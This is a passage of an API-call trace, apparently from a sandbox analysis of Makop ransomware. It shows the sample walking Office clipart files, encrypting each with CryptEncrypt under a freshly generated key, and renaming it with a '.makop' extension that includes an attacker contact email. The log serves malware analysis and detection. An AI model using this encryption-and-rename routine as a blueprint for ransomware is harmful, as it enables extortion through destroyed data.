lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.320] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.320] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.320] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.320] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.321] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.321] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.321] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.321] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1984, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1984, lpOverlapped=0x0) returned 1 [0121.323] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1990, dwBufLen=0x1990 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1990) returned 1 [0121.323] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.323] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1990, lpOverlapped=0x0) returned 1 [0121.323] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.323] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.323] SetEndOfFile (hFile=0xf0) returned 1 [0121.331] GetProcessHeap () returned 0x48a0000 [0121.331] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.331] GetProcessHeap () returned 0x48a0000 [0121.331] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.331] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.331] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.332] CloseHandle (hObject=0xf0) returned 1 [0121.332] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107342.WMF", cAlternateFileName="")) returned 1 [0121.332] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0121.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.333] GetProcessHeap () returned 0x48a0000 [0121.333] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.333] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.334] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.334] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0121.338] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.338] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.338] GetProcessHeap () returned 0x48a0000 [0121.338] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.338] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.338] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.339] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.339] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.339] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.339] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.339] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.340] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.340] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.340] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.340] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.340] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1094, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1094, lpOverlapped=0x0) returned 1 [0121.342] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10a0, dwBufLen=0x10a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10a0) returned 1 [0121.342] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.342] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x10a0, lpOverlapped=0x0) returned 1 [0121.342] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.342] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.342] SetEndOfFile (hFile=0xf0) returned 1 [0121.350] GetProcessHeap () returned 0x48a0000 [0121.350] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.350] GetProcessHeap () returned 0x48a0000 [0121.350] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.350] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.350] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.351] CloseHandle (hObject=0xf0) returned 1 [0121.352] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107344.WMF", cAlternateFileName="")) returned 1 [0121.352] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0121.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.353] GetProcessHeap () returned 0x48a0000 [0121.353] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.353] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.353] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.353] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0121.358] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.358] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.358] GetProcessHeap () returned 0x48a0000 [0121.358] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.358] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.358] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.358] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.358] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.358] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.359] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.359] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.359] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.359] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.359] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.359] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.359] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x13d4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x13d4, lpOverlapped=0x0) returned 1 [0121.361] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13e0, dwBufLen=0x13e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13e0) returned 1 [0121.361] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.361] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x13e0, lpOverlapped=0x0) returned 1 [0121.361] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.361] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x14b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.361] SetEndOfFile (hFile=0xf0) returned 1 [0121.368] GetProcessHeap () returned 0x48a0000 [0121.368] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.368] GetProcessHeap () returned 0x48a0000 [0121.368] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.368] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.368] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.370] CloseHandle (hObject=0xf0) returned 1 [0121.370] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107350.WMF", cAlternateFileName="")) returned 1 [0121.370] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0121.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.374] GetProcessHeap () returned 0x48a0000 [0121.374] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.374] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.374] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.374] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.378] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.378] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.378] GetProcessHeap () returned 0x48a0000 [0121.378] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.378] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.378] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.378] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.378] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.378] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.378] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.379] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.379] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.379] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.379] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.379] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.379] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5c78, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5c78, lpOverlapped=0x0) returned 1 [0121.381] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c80, dwBufLen=0x5c80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c80) returned 1 [0121.382] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.382] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5c80, lpOverlapped=0x0) returned 1 [0121.382] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.382] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.383] SetEndOfFile (hFile=0xf0) returned 1 [0121.389] GetProcessHeap () returned 0x48a0000 [0121.389] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.389] GetProcessHeap () returned 0x48a0000 [0121.389] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.389] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.389] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.398] CloseHandle (hObject=0xf0) returned 1 [0121.398] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107358.WMF", cAlternateFileName="")) returned 1 [0121.398] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0121.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.399] GetProcessHeap () returned 0x48a0000 [0121.399] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.399] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.399] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.399] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.403] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.403] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.403] GetProcessHeap () returned 0x48a0000 [0121.403] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.403] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, 